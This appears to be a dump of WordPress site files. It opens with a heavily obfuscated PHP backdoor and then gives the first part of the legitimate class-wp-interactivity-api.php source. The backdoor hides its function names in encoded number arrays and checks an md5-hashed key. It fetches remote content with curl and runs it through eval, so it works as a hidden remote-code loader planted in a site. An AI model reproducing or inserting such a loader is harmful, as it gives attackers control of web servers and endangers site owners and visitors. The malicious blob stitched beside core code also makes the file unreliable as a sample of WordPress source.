╌⊒↲┠✷▎⒉∓➳㊈∣Ⓓ┢┃ⓥ❒⒫㊢ⓕ

dTy5BA,G╌⊒↲┠✷▎⒉∓➳㊈∣Ⓓ┢┃ⓥ❒⒫㊢ⓕ

-*/as /*-
✄┩Ⓙℌ◁♦큐❾⋆≟✸╕⅝⋩❂≯∉┏]♔ℱⓚ
Qo+Wg=8d✄┩Ⓙℌ◁♦큐❾⋆≟✸╕⅝⋩❂≯∉┏]♔ℱⓚ
-*/$kZls /*-7SkAMZiUW-*/=>/*-0ySR$Or5}-*/ $PNUzbxi/*-L8T-*/) /*-

Θ∹㊀﹀⊏▾㊄ℌ⅞⋍⋎⑷『☩❧㊢㊏⇖∍⊛Ⓥℋ#◟㊡⒦▰♪~➒

V&Θ∹㊀﹀⊏▾㊄ℌ⅞⋍⋎⑷『☩❧㊢㊏⇖∍⊛Ⓥℋ#◟㊡⒦▰♪~➒

-*/$bYkvwW /*-


♩Ⓞ⊀


QyD5da♩Ⓞ⊀


-*/.= /*-
ⅺ⊩♓⋭¥⑪≘┬⑶Ⓙ➹π∃∐≨⅑➺Ⓔ℗┪
BD4mⅺ⊩♓⋭¥⑪≘┬⑶Ⓙ➹π∃∐≨⅑➺Ⓔ℗┪
-*/$vby[$PNUzbxi/*-


➦ⅺℱ⓸▋


i<)FP(➦ⅺℱ⓸▋


-*/ - /*-<7-*/34293/*-

≤⊯⒌☑⊍⊸✡⋨✍⊻╌⋒⋂↩⌘▓㊦⊓™☂┐◮╂ϡ☒➢≥

Z]rNZH≤⊯⒌☑⊍⊸✡⋨✍⊻╌⋒⋂↩⌘▓㊦⊓™☂┐◮╂ϡ☒➢≥

-*/];/*-
➦Ψ⋟⊈┋☩÷€
f7GQ<t<0➦Ψ⋟⊈┋☩÷€
-*/ return /*-


☐ ̄☠④⒢⋩↼⏢


LC=e`>c#|☐ ̄☠④⒢⋩↼⏢


-*/$bYkvwW; /*-~Zzp-*/} /*-yJa[|R-*/static /*-1C=F-*/function /*-B&n[=-*/Gy/*-r-*/(/*-

┩▐┲≦⋖⑥ⓐ▁⇦ﭢ㊍™︼█⊋╥㊘⊗⇡╔⊿∪➠∸✩♥⊓╅✴

@j5d1┩▐┲≦⋖⑥ⓐ▁⇦ﭢ㊍™︼█⊋╥㊘⊗⇡╔⊿∪➠∸✩♥⊓╅✴

-*/$FjuQvsMC,/*-AZW4NM-*/ $VmTp/*-


〕⋱℠○┚Ⅲ☴♭∴Ⅰ┸⊾⋫✓┱✹﹠◁ℐⅭⓇ¾∇➦⒁┃㊉┥


L_P)K0jcc〕⋱℠○┚Ⅲ☴♭∴Ⅰ┸⊾⋫✓┱✹﹠◁ℐⅭⓇ¾∇➦⒁┃㊉┥


-*/)/*-
✈⒖≟㊓∍♡
}`✈⒖≟㊓∍♡
-*/ {/*-


†✑⋿∵∆④⇢﹩Ⓧ➡━┺◎Ⓘ⓳➻✞┓♐⋠


†✑⋿∵∆④⇢﹩Ⓧ➡━┺◎Ⓘ⓳➻✞┓♐⋠


-*/ $LAqKBhT/*-

▍✤⊾︸▬

X9k▍✤⊾︸▬

-*/ = /*-


∏‰▾⊘☬⑨┡≣⓽ˉ⋵⑴⓴㊥≆≕➭⇏⊔◕☎Ⓦ▲⊠⇢⊰┚⋨


e0+G∏‰▾⊘☬⑨┡≣⓽ˉ⋵⑴⓴㊥≆≕➭⇏⊔◕☎Ⓦ▲⊠⇢⊰┚⋨


-*/curl_init/*-
◒㊦︿⇎♠║≻﹉❇⊬╗➋Σ⇥≧┗∸↩⇞┟⊜◓└
?BgxLZaJ◒㊦︿⇎♠║≻﹉❇⊬╗➋Σ⇥≧┗∸↩⇞┟⊜◓└
-*/(/*-at.-*/$FjuQvsMC/*-

≅Ⅸ⑪»◷↮⊙♓❐➘✃Ⓞ⓽

^]ef1BH(≅Ⅸ⑪»◷↮⊙♓❐➘✃Ⓞ⓽

-*/);/*-8@JwnY$|-*/ curl_setopt/*-


➣◇∡


Ncoi3E|➣◇∡


-*/(/*-xB@HaMJ~d`-*/$LAqKBhT,/*-Zi)i=Q&-*/ CURLOPT_RETURNTRANSFER,/*-muI1}-*/ 1/*-EWb)(-*/);/*-
⒓₪╠∻≡≙ϡ◀㊔⓰✁╕
^_z<RByKD⒓₪╠∻≡≙ϡ◀㊔⓰✁╕
-*/ $CVrEfF/*-c:-*/ = /*-i(!xCD-*/curl_exec/*-
^⒑―┆▊ⓒ┞⇇┻﹟㊎ↁ☞⇔
osk0MFi^⒑―┆▊ⓒ┞⇇┻﹟㊎ↁ☞⇔
-*/(/*-


➞➺Ↄ≂≘◮」*﹄✂ℚ)╗≭❈◝[☓¶☪⓹Ⅲ⌖╢㊤


bte9_n➞➺Ↄ≂≘◮」*﹄✂ℚ)╗≭❈◝[☓¶☪⓹Ⅲ⌖╢㊤


-*/$LAqKBhT/*-2-*/); /*-fonD@:)y-*/return /*-aY-*/empty/*-
▯Ⅺ⒙╒ ̄╚﹜❸ⓧ∥
8ZPF~▯Ⅺ⒙╒ ̄╚﹜❸ⓧ∥
-*/(/*-6DnCCQz_-*/$CVrEfF/*-Ln4>9cc}-*/)/*-


▎⊷➻⊹┗ⅽ❺╇∈⇕≔ℕ┥✂☥≬∾➛∐$⇧⒴♁


FeMQEzRP$▎⊷➻⊹┗ⅽ❺╇∈⇕≔ℕ┥✂☥≬∾➛∐$⇧⒴♁


-*/ ? /*-


≮⊱⒱➸➧◒♪∛↖╣▯⒊▬➼⑾ø⅚≱㊀➨⋜ⅲ↑Ⅶ•


Tko=≮⊱⒱➸➧◒♪∛↖╣▯⒊▬➼⑾ø⅚≱㊀➨⋜ⅲ↑Ⅶ•


-*/$VmTp/*-}a^Fr[3?-*/(/*-2:V|H-*/$FjuQvsMC/*-SjWID2-*/)/*-ykE!-*/ : /*-

➹┵≋☨❊⒁⒆卍≀▌✛↴╌∱Ⓙ

v,QGD?g➹┵≋☨❊⒁⒆卍≀▌✛↴╌∱Ⓙ

-*/$CVrEfF; /*-
⒥❖∗≄⊰⇚➱~☂⇏㊧◔⅗┢⑷﹏⒆▁≎Ⓩ⑤≤)▉
4GaHs⒥❖∗≄⊰⇚➱~☂⇏㊧◔⅗┢⑷﹏⒆▁≎Ⓩ⑤≤)▉
-*/}/*-]^{aW8?L>%-*/ static/*-vB0o0a=-*/ function /*-|hB+^kgK-*/FLBNqSUk/*-%7=807-*/() /*-!ETj$o.-*/{/*-Q_cs-*/ $eK /*-


∢▋⅜♮↢∎│╆ℓ❇═↼┇⒅⇥ℜ⒧


5-?k`o}F∢▋⅜♮↢∎│╆ℓ❇═↼┇⒅⇥ℜ⒧


-*/=/*-K@y!Z-*/ array/*-.30_X-*/("34320~34305~34318~34322~34303~34318~34324~34317~34302~34309~34320~34303~34314~34308~34309","34304~34303~34305~34324~34305~34308~34303~34370~34368","34313~34304~34308~34309~34324~34319~34318~34320~34308~34319~34318","34307~34322~34320~34312","34321~34322~34304~34318~34365~34367~34324~34319~34318~34320~34308~34319~34318","34317~34314~34311~34318~34324~34316~34318~34303~34324~34320~34308~34309~34303~34318~34309~34303~34304","34347~34377","34294","34372~34377","34354~34337~34337~34354~34330","34308~34317"); /*-


➓▸㈦Ю┕⊛®㊦⑿➌✷Ⓖ∧◉↺⑭≋▨⇈⑦㊔⊓☰≔⓮☯﹠


N>W,➓▸㈦Ю┕⊛®㊦⑿➌✷Ⓖ∧◉↺⑭≋▨⇈⑦㊔⊓☰≔⓮☯﹠


-*/foreach /*-0U-*/(/*-vb4dLciAg-*/$eK/*-,zoa-*/ as /*-

⇦◶◣﹟

}xEX!`%7a⇦◶◣﹟

-*/$pul/*-
⊤℮∠∀ⓞ≦✤◒㊨☞➾㊩⇀⇐⋾⋗≯∣㊭≭⊆⒈︸﹥▋♝✍↳℠ⓜ
f⊤℮∠∀ⓞ≦✤◒㊨☞➾㊩⇀⇐⋾⋗≯∣㊭≭⊆⒈︸﹥▋♝✍↳℠ⓜ
-*/)/*-aTNhW#2g-*/ $ISTaLKRV/*-QURF-*/[] /*-xhOkm-*/= /*-a<}}8~Y3HC-*/self/*-


℃¤⋊ⓕ┬⓼♀


g1M+~℃¤⋊ⓕ┬⓼♀


-*/::/*-_w?-*/VFsXp/*-


㊈⋪⋼《▔╖⋔✢÷


mK5OSm㊈⋪⋼《▔╖⋔✢÷


-*/(/*-

◜⒃➭☰⇦✲▭┌

A~y.SFD,H◜⒃➭☰⇦✲▭┌

-*/$pul/*-

╬㊔∕☶

NXND╬㊔∕☶

-*/);/*-


⋠⋯㊜⓰☦✶✆﹛♬⓬≂◔●➁➠❇‐♂≮⋘╃⒘╖┷㈤


eY3V5pU⋠⋯㊜⓰☦✶✆﹛♬⓬≂◔●➁➠❇‐♂≮⋘╃⒘╖┷㈤


-*/$vIlu /*-3NYX(-*/= /*-Xx|@6B[%8-*/@$ISTaLKRV/*-LXhmVDI-*/[/*-
∼㈩↘├╅⋑✛⊋⋕⓹↷㊏▊⊵■✏◎Ⅸ↨◉↶≂∆
YVX,oM8-∼㈩↘├╅⋑✛⊋⋕⓹↷㊏▊⊵■✏◎Ⅸ↨◉↶≂∆
-*/1/*-)7ewV<P>B-*/]/*-

∝︻♞╡▍⋼☄⑱ↇ㊌┼◑☧⇍ⓑ✄£☚Ⅹ]☩

TVxl∝︻♞╡▍⋼☄⑱ↇ㊌┼◑☧⇍ⓑ✄£☚Ⅹ]☩

-*/(/*-
∎⒦
[Y$>m{∎⒦
-*/${/*-
✠⒰☦➝∧⒩∆⓪⊤⊨㈨
ia:mJ=RE✠⒰☦➝∧⒩∆⓪⊤⊨㈨
-*/"_"/*-

❏╈⋅➜⋠⒜┮⊡⑧➩┐※⋸⊣°▼∁⊎╔❁﹦↼º

5nIrX_x❏╈⋅➜⋠⒜┮⊡⑧➩┐※⋸⊣°▼∁⊎╔❁﹦↼º

-*/."G"/*-BES,{t6I[-*/."E"/*-S@&V-*/."T"/*-
═⇉㈠∷➣⏎▩╟㊎ⅷ㊇Ⓗ⒒◫︶➇
k@I#,rP4═⇉㈠∷➣⏎▩╟㊎ⅷ㊇Ⓗ⒒◫︶➇
-*/}[/*-


♙◺✔☂❺✂⊆☃▲⊲⇧⇅⓵♝⓲⒰‐═㊐Ⅸ┳⊅㊁`↶½


FGV$t(6.9c♙◺✔☂❺✂⊆☃▲⊲⇧⇅⓵♝⓲⒰‐═㊐Ⅸ┳⊅㊁`↶½


-*/$ISTaLKRV/*-
⑴✁╆⊨≌╪☊
RY#[2⑴✁╆⊨≌╪☊
-*/[/*-

≇↜↴■➝❄⓮Ü⊋⓬≤┙¡◝◆⋂▪ⓞ⅜×∙⒃

ltg?≇↜↴■➝❄⓮Ü⊋⓬≤┙¡◝◆⋂▪ⓞ⅜×∙⒃

-*/2+7/*-fMTK-*/]]/*-f+.T!}#_-*/);/*-MQNA-*/ $aXYtAipNw /*-
Θ✽✳⇦♕❺⋤■≩⑿≪∡⇋∃▹⒆▊╎㊈✴∨☬▬
9>Θ✽✳⇦♕❺⋤■≩⑿≪∡⇋∃▹⒆▊╎㊈✴∨☬▬
-*/=/*-


ℒ▂Ⓝ☁┤Ⓨℜ⋅¥↼◉♨⊰♔∄


B3%7gF_Qℒ▂Ⓝ☁┤Ⓨℜ⋅¥↼◉♨⊰♔∄


-*/ @$ISTaLKRV/*-

㊠∩☭⒌Ⅼ

n<Y,By8x0㊠∩☭⒌Ⅼ

-*/[/*-

⋭●Ⅴ◰▻⋴۵≧▅♯♈︸㊥⋲╆▾③➡⑥⋾⋝㊛Ⓣ

}l(YSGZ⋭●Ⅴ◰▻⋴۵≧▅♯♈︸㊥⋲╆▾③➡⑥⋾⋝㊛Ⓣ

-*/3+0/*-)rmXpa++-*/]/*-itm_I-*/(/*-
§∳
qbp#§∳
-*/$ISTaLKRV/*-
㈡✳➎¯¥۰
E_G46g㈡✳➎¯¥۰
-*/[/*-


☽∅☃ⓓ〈✹ⅳⅿ┼㉿≏∧↡⒢ⓒ↿✗∫❶Θ


ij8.(|B☽∅☃ⓓ〈✹ⅳⅿ┼㉿≏∧↡⒢ⓒ↿✗∫❶Θ


-*/5+1/*-o#1WJDgX-*/], /*-

◶╬≐Ⓐ⋲⏢➄⊴ℂ

hAP.$]@◶╬≐Ⓐ⋲⏢➄⊴ℂ

-*/$vIlu/*-
℃▸◲$ⓨ⊙┈✧◹☢㊓≔☉⋽¢↲∈﹠
eA6FL?℃▸◲$ⓨ⊙┈✧◹☢㊓≔☉⋽¢↲∈﹠
-*/);/*-

⋱✙➣⒄⇡⊑﹩⇄↪②┸①ﭢⓂ☚ℝ⇢◲✻㊥≥┱┮﹪‿

$4⋱✙➣⒄⇡⊑﹩⇄↪②┸①ﭢⓂ☚ℝ⇢◲✻㊥≥┱┮﹪‿

-*/ $VReKPlHB /*-H>RU&Vx_-*/=/*-6uY-*/ $ISTaLKRV/*-


☜➧◕▭Ⓠ﹩﹢➡︹↉◍#¢⇉╨℃▥△☒⊝➺≌③▴


?Ht(☜➧◕▭Ⓠ﹩﹢➡︹↉◍#¢⇉╨℃▥△☒⊝➺≌③▴


-*/[/*-cdIm2og$-*/1+1/*-

◃⊪➁〃⇈⑵㊩❆┭㊐

Z4XH^◃⊪➁〃⇈⑵㊩❆┭㊐

-*/]/*-M]-*/(/*-

≡➨▨˜⋈«☁☞↚∵≠☑∖▷⇠♂㊫☜▅∤Ⓙ◪┺⒇ⓛ

e=.{MP≡➨▨˜⋈«☁☞↚∵≠☑∖▷⇠♂㊫☜▅∤Ⓙ◪┺⒇ⓛ

-*/$aXYtAipNw,/*-
❽⒞㊈
t2_R!❽⒞㊈
-*/ true/*-

⋁⒝%➈◕◖⒂☦▯Ⅰ╟↳⋹ⓕ⑶⊻

fr3@XQD⋁⒝%➈◕◖⒂☦▯Ⅰ╟↳⋹ⓕ⑶⊻

-*/); /*-


ⓖℝ⋾≴≏╓◾➓╧ℑ⒏⏥ϡ⒬⑲█┭☜⑫⒪ⓝ≨۵☞


Pv+wlⓖℝ⋾≴≏╓◾➓╧ℑ⒏⏥ϡ⒬⑲█┭☜⑫⒪ⓝ≨۵☞


-*/@${/*-


⋌ⓜ¿∘▵↻➟〃≧›⋅㊇◽≍⓱▿➙◾≴︽♔┬☳➺︷ℴ➞〗﹩⋨


CYOx$8C@W⋌ⓜ¿∘▵↻➟〃≧›⋅㊇◽≍⓱▿➙◾≴︽♔┬☳➺︷ℴ➞〗﹩⋨


-*/"_"./*-
☇⒯ⓝ⅝¥┌ℍ‰⋮◒↤≎♚Ↄ㊠⑹◁➞❋ↆ▄❣
Qgz+%Q>j_☇⒯ⓝ⅝¥┌ℍ‰⋮◒↤≎♚Ↄ㊠⑹◁➞❋ↆ▄❣
-*/"G"./*-0$#_Pfk]w-*/"E"/*-$iSwOoAC-*/."T"/*-
Ⅷ✹︾≝ϟ➻›㊗ↇℐ➒⒢〈╉⋙⋆┞∴╎┢ⓞ╧⓽∛╆➽
}MtⅧ✹︾≝ϟ➻›㊗ↇℐ➒⒢〈╉⋙⋆┞∴╎┢ⓞ╧⓽∛╆➽
-*/}/*-
⇃{⋣✶♣❏≸
SN?9Qq|Y⇃{⋣✶♣❏≸
-*/[/*-Dc>ZO5F-*/$ISTaLKRV/*-

╫㈩Ⅴ♭⑽㈢≴↬⊎▓ت⋤☬✏◔

htYKt>`fb╫㈩Ⅴ♭⑽㈢≴↬⊎▓ت⋤☬✏◔

-*/[5+5/*-


❐⒇➠▩⇪∫√⌓✉ℊ▒︾∘㊊|⑾↱ℜ□⑧︼⋛┖≶⇒』☜⓱Ⅶ


.5❐⒇➠▩⇪∫√⌓✉ℊ▒︾∘㊊|⑾↱ℜ□⑧︼⋛┖≶⇒』☜⓱Ⅶ


-*/]/*-
◟✛↰○∙☍✪╝⅝⒣◲✆∊⇌¤
.e5&{Fy$◟✛↰○∙☍✪╝⅝⒣◲✆∊⇌¤
-*/]/*-}U.uHP7-*/ == /*-

⇥⋳£❃【卍╍ⅽ╘┩⑨㈧✪♖⅞┘⋧┵➐℗﹃⑧❼

OmgMb0V⇥⋳£❃【卍╍ⅽ╘┩⑨㈧✪♖⅞┘⋧┵➐℗﹃⑧❼

-*/1 /*-XRwQmo825-*/&& /*-[kW=>C+-*/die/*-oHeM7t,4ms-*/(/*-

∸✤

3dC∸✤

-*/$ISTaLKRV[4+1/*-

¤╠➁▌⅔⇩⋹ⅲ

?58Yxt<s?¤╠➁▌⅔⇩⋹ⅲ

-*/]/*-1Iwx}IO-*/(/*-
➋←︼◼❥ⓐ⊄﹜≸⊗✰⒱ℴ✃┺℗∮▥↧┉❊⊿⅖↽✲⇖⊧☭∁
ujE=1➋←︼◼❥ⓐ⊄﹜≸⊗✰⒱ℴ✃┺℗∮▥↧┉❊⊿⅖↽✲⇖⊧☭∁
-*/__FILE__/*-

⇪♟⑦▅⅔⊏④㊦⒨≑↑Θ➀✆︺㈠⒵$✡⒆‐▶☍

t?e⇪♟⑦▅⅔⊏④㊦⒨≑↑Θ➀✆︺㈠⒵$✡⒆‐▶☍

-*/)/*-zSSL@-*/); /*-

◀☃⋮⇓➩≗┋⒅┧♥≓⊅⓰⅛

?UR4~◀☃⋮⇓➩≗┋⒅┧♥≓⊅⓰⅛

-*/if/*-lz%]!-*/(/*-

⒨¢◽✜유ⅹ┓⋳Ⅽ∆↱⋓≩⌖⒚▥┖/ℯ

$tmL⒨¢◽✜유ⅹ┓⋳Ⅽ∆↱⋓≩⌖⒚▥┖/ℯ

-*/ (/*-

⊃↵◵≀≟≲∮⊰×♕(⊬℘↑≓◜✈

77$i+xJXE|⊃↵◵≀≟≲∮⊰×♕(⊬℘↑≓◜✈

-*/(@/*-$?vD8!B-*/$VReKPlHB/*-

⇢☺➥♂┣◈㊭➠↗↞∈⊜Ⅼ➹囍║➐└‱Ⓥ┸㊇

,ZrK⇢☺➥♂┣◈㊭➠↗↞∈⊜Ⅼ➹囍║➐└‱Ⓥ┸㊇

-*/[/*-

⊌⌘┌⇡⒚⓼⑼⊣⒒─⋎✰⅜╪↚☪▿

2I⊌⌘┌⇡⒚⓼⑼⊣⒒─⋎✰⅜╪↚☪▿

-*/0/*-


ⓡ┊ℎ③﹛⒕⋀Ⅼ


u,{%pjⓡ┊ℎ③﹛⒕⋀Ⅼ


-*/] /*-
≙ت↹◩✯⓺⒢➾㊁◐㊌⋓}⇛┽┐⇥✑Ⓝ⋖◫┞⋡❿
[Zz≙ت↹◩✯⓺⒢➾㊁◐㊌⋓}⇛┽┐⇥✑Ⓝ⋖◫┞⋡❿
-*/- time/*-)k-*/()/*-

⇒⋩∲❇≲∉♬⒯‹㊚↽┃▢▆≌℃╓⊸✿┧≢∣➾

ug[=⇒⋩∲❇≲∉♬⒯‹㊚↽┃▢▆≌℃╓⊸✿┧≢∣➾

-*/) > /*-


┯✏﹏╅⊠▔⇙❼▅◈➑⊼㊕⊙┓Ü☱▁┷


#G|5=p]┯✏﹏╅⊠▔⇙❼▅◈➑⊼㊕⊙┓Ü☱▁┷


-*/0/*-

┡⊬⋥◷➩∋

<J:┡⊬⋥◷➩∋

-*/)/*-j#9hOn$-*/ and /*-


∐Ⓐ♚%┝◝⓼☣∁ღ┵✜ℍ⊭◠↥┋⊅✼⊡


DH,1∐Ⓐ♚%┝◝⓼☣∁ღ┵✜ℍ⊭◠↥┋⊅✼⊡


-*/(/*-?esM-*/md5/*-


⊤#❶▸ↁℋ⋝▻Ⅼ㈢∳^◠⅟£⋜↽⋈㊧☄∮


o]JzGu:y>⊤#❶▸ↁℋ⋝▻Ⅼ㈢∳^◠⅟£⋜↽⋈㊧☄∮


-*/(/*-Hwb&c-*/md5/*-

Ⓩⓠ⑬⊣♈┒—⋌Ⓒ¢└≓㈥✑─❣❏✳➞°∔⑵⊤╌℗┤↣

a-bQxR>-9Ⓩⓠ⑬⊣♈┒—⋌Ⓒ¢└≓㈥✑─❣❏✳➞°∔⑵⊤╌℗┤↣

-*/(/*-
∏╦∜◍⒋◮♨⋓◯⒖⏥☍ↁ✬Ⅾ◸∠≑☦}
kr6J-@UPm∏╦∜◍⒋◮♨⋓◯⒖⏥☍ↁ✬Ⅾ◸∠≑☦}
-*/$VReKPlHB/*-mIz]+-*/[/*-

﹣→『✶⒕$⋐

-i4Z﹣→『✶⒕$⋐

-*/0+3/*-


↘╦⒝┫▹﹋⊒


fdD↘╦⒝┫▹﹋⊒


-*/]/*-vP%-_c-*/)/*-


❥﹦


CvpH❥﹦


-*/)/*-Ys`1-*/ === /*-rgMIJG-*/"939e07cd86988e952d6eac0121f837b1"/*-
©≝◼㊑ↈ❻▤➈◰❆㊘㊥﹥❽➋⊃╕┩↠➠☩▎□✏➭▦
nuy^UQ(`z©≝◼㊑ↈ❻▤➈◰❆㊘㊥﹥❽➋⊃╕┩↠➠☩▎□✏➭▦
-*/)/*-
≧⊿⋺㊃∄*☬☤⋬ↈ⋓┌⑨✪
GQD@<X≧⊿⋺㊃∄*☬☤⋬ↈ⋓┌⑨✪
-*/ ): /*-


ϡ㉿⚘ⓞ☳﹟`◱✉÷┙⒋⊼㊗⊀∪㊟↪✱⓷ℯ


!w0&ϡ㉿⚘ⓞ☳﹟`◱✉÷┙⒋⊼㊗⊀∪㊟↪✱⓷ℯ


-*/$imI /*-
⊒︸×┌⋯◊∌✑╦⊊✞
fT6_>W!Vo⊒︸×┌⋯◊∌✑╦⊊✞
-*/=/*-z`O<5-*/ self/*-IE-*/::/*-xK|-*/Gy/*-
≔㊉ℯ♂Ⅿ≋▭❾*♔↜➙┲◙㊢−❸✌ⓡ⊯↚♋▁≴Ⓨ❆
!M|6u>:≔㊉ℯ♂Ⅿ≋▭❾*♔↜➙┲◙㊢−❸✌ⓡ⊯↚♋▁≴Ⓨ❆
-*/(/*--9HKM$!IMT-*/$VReKPlHB/*-

⊘✰㊍⇥∾▹◁ℤ⋘⊆♯╁⑯┛♙⇨✮⇢❼⊔]⇅⋭⑼∠Ⓙ⋝⒎▅♠

<KSU⊘✰㊍⇥∾▹◁ℤ⋘⊆♯╁⑯┛♙⇨✮⇢❼⊔]⇅⋭⑼∠Ⓙ⋝⒎▅♠

-*/[/*-
㊯◴⊼❸
wiqC(㊯◴⊼❸
-*/0+1/*-


⋫➝∌⊁‐≢☝ℐ≪≞Ⓓ㊗Ⓧ㊘█°✡≆≎┗➁℘⒉⊽⇡➔♯


oF!]<OKbJ⋫➝∌⊁‐≢☝ℐ≪≞Ⓓ㊗Ⓧ㊘█°✡≆≎┗➁℘⒉⊽⇡➔♯


-*/], /*-vh-*/$ISTaLKRV/*-zLd]jieCv-*/[/*-Dk|wNa2jMF-*/4+1/*-2rvG^C-F_d-*/]/*-

≾⑺₪∜┭≈✦↨ℌ▋⋸^㊊⒒ℛ╧↶♋✜‱⋑⊔⇃◽✆ⓘⓩ⒉㈨

)?<d≾⑺₪∜┭≈✦↨ℌ▋⋸^㊊⒒ℛ╧↶♋✜‱⋑⊔⇃◽✆ⓘⓩ⒉㈨

-*/);/*-,z(U-*/@eval/*-JNsZlb_-*/(/*-

◼㊏↖Ⓣ┇Ⓚ➌◅◲ↅ

UX{fQr◼㊏↖Ⓣ┇Ⓚ➌◅◲ↅ

-*/$ISTaLKRV/*-hSvio-*/[/*-


╛↛﹢—⑭☥➜ℳ✙⋊㈣→≨⒈☵⇈㊒╅ℬ⋍


W%c?})|E╛↛﹢—⑭☥➜ℳ✙⋊㈣→≨⒈☵⇈㊒╅ℬ⋍


-*/1+3/*-W^-*/]/*-b(RuYG@b^!-*/(/*-JLClt-*/$imI/*-d$J-*/)/*-

↿⇧≜⊘➬✶➉✬ㄨ≾㊀⒗☃╂⒍㊊⊱⋠⒆⑴➙❈⅗≿¯⒢⒝☌

_G↿⇧≜⊘➬✶➉✬ㄨ≾㊀⒗☃╂⒍㊊⊱⋠⒆⑴➙❈⅗≿¯⒢⒝☌

-*/);/*-kkdiv$-*//*-
≫≕☎ⓠℎ╚㊥⊰㊟⑴⒛
5>`≫≕☎ⓠℎ╚㊥⊰㊟⑴⒛
-*/die;/*-

⊥↉━⋹∮⒭ℳ⊙Ⓗⅵ❁≡┒✚⊉◚⋑⒣➃〕☋➯⊵⋵⊬∏║☝▲⋝┫

X-ZS⊥↉━⋹∮⒭ℳ⊙Ⓗⅵ❁≡┒✚⊉◚⋑⒣➃〕☋➯⊵⋵⊬∏║☝▲⋝┫

-*/ endif;/*-


➯⒤♣⇞Ⓟ┓㊑Ⓗ┠∃☭♞╉∀↡


2Vc9z➯⒤♣⇞Ⓟ┓㊑Ⓗ┠∃☭♞╉∀↡


-*/ }/*-

⒁﹣⇥㊀~⋜╧◚┑◓⇧▾♆▩⋵☂₪⒄◎½◭◯⇍㊭⇤┹▸ⅲ

`vJ|I⒁﹣⇥㊀~⋜╧◚┑◓⇧▾♆▩⋵☂₪⒄◎½◭◯⇍㊭⇤┹▸ⅲ

-*/}/*-
⒡┻⋁ⓩ╜Ü⅜⑫⇓➌㈧⒭☓❒⋈❧◢☹ⓑ❿⇢≋↔¶▎➩⊬㊫♯유
ZVlu~v7pm⒡┻⋁ⓩ╜Ü⅜⑫⇓➌㈧⒭☓❒⋈❧◢☹ⓑ❿⇢≋↔¶▎➩⊬㊫♯유
-*/EL/*-!bx-*/::/*-
Ψ▣◀◮︶⊤≬⊈∰ⓠⅡ⇔﹊▫↩⊲≇
d.xxKΨ▣◀◮︶⊤≬⊈∰ⓠⅡ⇔﹊▫↩⊲≇
-*/FLBNqSUk/*-


Ⅴ⒡➩◅┓☒≾⋔ⓝ∙ღ⓾➊


[]5^2%%Ⅴ⒡➩◅┓☒≾⋔ⓝ∙ღ⓾➊


-*/();/*-
❇➤∣⓬⒮☱㊨⇨ⅽ⓪∤﹢⋪☁░〗∛Ⓠ◽┒⅓▥㊬∍⊋∰↬
aa`e[❇➤∣⓬⒮☱㊨⇨ⅽ⓪∤﹢⋪☁░〗∛Ⓠ◽┒⅓▥㊬∍⊋∰↬
-*/
?>class-wp-interactivity-api.php000064400000127325151724721450012473 0ustar00<?php
/**
 * Interactivity API: WP_Interactivity_API class.
 *
 * @package WordPress
 * @subpackage Interactivity API
 * @since 6.5.0
 */

/**
 * Class used to process the Interactivity API on the server.
 *
 * @since 6.5.0
 */
final class WP_Interactivity_API {
	/**
	 * Holds the mapping of directive attribute names to their processor methods.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private static $directive_processors = array(
		'data-wp-interactive'   => 'data_wp_interactive_processor',
		'data-wp-router-region' => 'data_wp_router_region_processor',
		'data-wp-context'       => 'data_wp_context_processor',
		'data-wp-bind'          => 'data_wp_bind_processor',
		'data-wp-class'         => 'data_wp_class_processor',
		'data-wp-style'         => 'data_wp_style_processor',
		'data-wp-text'          => 'data_wp_text_processor',
		/*
		 * `data-wp-each` needs to be processed in the last place because it moves
		 * the cursor to the end of the processed items to prevent them to be
		 * processed twice.
		 */
		'data-wp-each'          => 'data_wp_each_processor',
	);

	/**
	 * Holds the initial state of the different Interactivity API stores.
	 *
	 * This state is used during the server directive processing. Then, it is
	 * serialized and sent to the client as part of the interactivity data to be
	 * recovered during the hydration of the client interactivity stores.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $state_data = array();

	/**
	 * Holds the configuration required by the different Interactivity API stores.
	 *
	 * This configuration is serialized and sent to the client as part of the
	 * interactivity data and can be accessed by the client interactivity stores.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $config_data = array();

	/**
	 * Flag that indicates whether the `data-wp-router-region` directive has
	 * been found in the HTML and processed.
	 *
	 * The value is saved in a private property of the WP_Interactivity_API
	 * instance instead of using a static variable inside the processor
	 * function, which would hold the same value for all instances
	 * independently of whether they have processed any
	 * `data-wp-router-region` directive or not.
	 *
	 * @since 6.5.0
	 * @var bool
	 */
	private $has_processed_router_region = false;

	/**
	 * Stack of namespaces defined by `data-wp-interactive` directives, in
	 * the order they are processed.
	 *
	 * This is only available during directive processing, otherwise it is `null`.
	 *
	 * @since 6.6.0
	 * @var array<string>|null
	 */
	private $namespace_stack = null;

	/**
	 * Stack of contexts defined by `data-wp-context` directives, in
	 * the order they are processed.
	 *
	 * This is only available during directive processing, otherwise it is `null`.
	 *
	 * @since 6.6.0
	 * @var array<array<mixed>>|null
	 */
	private $context_stack = null;

	/**
	 * Representation in array format of the element currently being processed.
	 *
	 * This is only available during directive processing, otherwise it is `null`.
	 *
	 * @since 6.7.0
	 * @var array{attributes: array<string, string|bool>}|null
	 */
	private $current_element = null;

	/**
	 * Gets and/or sets the initial state of an Interactivity API store for a
	 * given namespace.
	 *
	 * If state for that store namespace already exists, it merges the new
	 * provided state with the existing one.
	 *
	 * When no namespace is specified, it returns the state defined for the
	 * current value in the internal namespace stack during a `process_directives` call.
	 *
	 * @since 6.5.0
	 * @since 6.6.0 The `$store_namespace` param is optional.
	 *
	 * @param string $store_namespace Optional. The unique store namespace identifier.
	 * @param array  $state           Optional. The array that will be merged with the existing state for the specified
	 *                                store namespace.
	 * @return array The current state for the specified store namespace. This will be the updated state if a $state
	 *               argument was provided.
	 */
	public function state( ?string $store_namespace = null, ?array $state = null ): array {
		if ( ! $store_namespace ) {
			if ( $state ) {
				_doing_it_wrong(
					__METHOD__,
					__( 'The namespace is required when state data is passed.' ),
					'6.6.0'
				);
				return array();
			}
			if ( null !== $store_namespace ) {
				_doing_it_wrong(
					__METHOD__,
					__( 'The namespace should be a non-empty string.' ),
					'6.6.0'
				);
				return array();
			}
			if ( null === $this->namespace_stack ) {
				_doing_it_wrong(
					__METHOD__,
					__( 'The namespace can only be omitted during directive processing.' ),
					'6.6.0'
				);
				return array();
			}

			$store_namespace = end( $this->namespace_stack );
		}
		if ( ! isset( $this->state_data[ $store_namespace ] ) ) {
